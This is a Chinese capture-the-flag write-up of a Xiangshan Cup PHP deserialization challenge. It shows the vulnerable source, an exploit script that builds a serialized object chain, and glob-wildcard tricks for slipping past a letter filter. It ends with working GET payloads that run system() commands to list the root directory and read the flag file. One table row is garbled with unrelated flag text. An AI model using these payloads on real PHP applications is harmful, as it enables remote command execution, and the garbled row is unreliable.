绕过Linux通配符+单个字符(香山杯php反序列化)

题目源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 <?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}

class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}

class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}

if(isset($_GET['data']))
unserialize($_GET['data']);
else
highlight_file(__FILE__);
?>

那么是php反序列化,判断一下顺序

1697366971600

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg;
}

class G00d{
public $shell;
public $cmd;
}

class H4ck3r{
public $func;
}
$welcome = new Welcome();
$g00d = new G00d();
$h4ck3r = new H4ck3r();
$welcome->name='A_G00d_H4ck3r';
$welcome->arg=$h4ck3r;
$g00d->shell='system';
$g00d->cmd='sort /[e-h]1[!bcdehijkmnopqrstuvwxyz][e-h]';
$h4ck3r->func=$g00d;
echo serialize($welcome);
?>

但是绕过单个的flag、*?是一个问题,后来看到了这篇文章

https://www.secpulse.com/archives/96374.html

使用通配符绕过

字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] 同[^list]
{str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合

专用字符集

字符 意义
[:alnum:] 任意数字或者字母
[:alpha:] 任意字母
[:space:] 空格
[:lower:] 小写字母
[:digit:] 任意数字
[:upper:] 任意大写字母
[:cntrl:] 控制符
[:graph:] 图形
[:print:] 可打印字符
[:punct:] 标点符号
[:xdigit:] 十六进制数
[:blank:] 空白字符(未验证)

Linux shell 元字符,在使用通配符时如果没有进行转义可能就会被辨识为元字符

字符 作用
IFS w3lc0m3tonewstarctf2023flagisherevbafjwrisgjadwwiihdgja13882hxbbbna fflllaaagggg{999999119aaaeb2—a450—2f5f7bfc[unknown][unknown][unknown]-8989dfdf4bfa4bfa85848584}}}}]nicework!1yougotthisflagoutput :w3lc0m3tonewstarctf2023flagisherevbafjwrisgjadwwiihdgja13882hxbbbna FLAG{9919AEB2-A450-2F5F-7BFC[UNKNOWN][UNKNOWN][UNKNOWN]-89DF4BFA8584}]NICEWORK!1YOUGOTTHISFLAGflag{9919aeb2-a450-2f5f-7bfc-89df4bfa8584}plain
CR 由 < enter > 产生
= 设定变量
$ 作变量或运算替换
> 重导向标准输出
< 重导向标准输入
| 命令管线
& 重导向文件描述符,或将命令静默执行
( ) 将其内的命令置于 nested subshell 执行,或用于运算或命令替换
{ } 将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围
; 在前一个命令结束时,而忽略其返回值,继续执行下一个命令
&& 在前一个命令结束时,若返回值为 true,继续执行下一个命令
|| 在前一个命令结束时,若返回值为 false,继续执行下一个命令
! 执行 history 中的命令

payload:?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:13:"/bin/[k-m]s /";}}}(注意ls实际是在/bin/ls目录下的)

回显bin boot dev etc f1ag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:51:"/usr/bin/sort /[e-h]1[!bcdehijkmnopqrstuvwxyz][e-h]";}}}

flag{6a889acc-e31b-4a1f-b966-28d4fc963192}


绕过Linux通配符+单个字符(香山杯php反序列化)
http://example.com/2023/10/14/过滤通配符+单个字符(香山杯)/
作者
Whhxy4
发布于
2023年10月14日
许可协议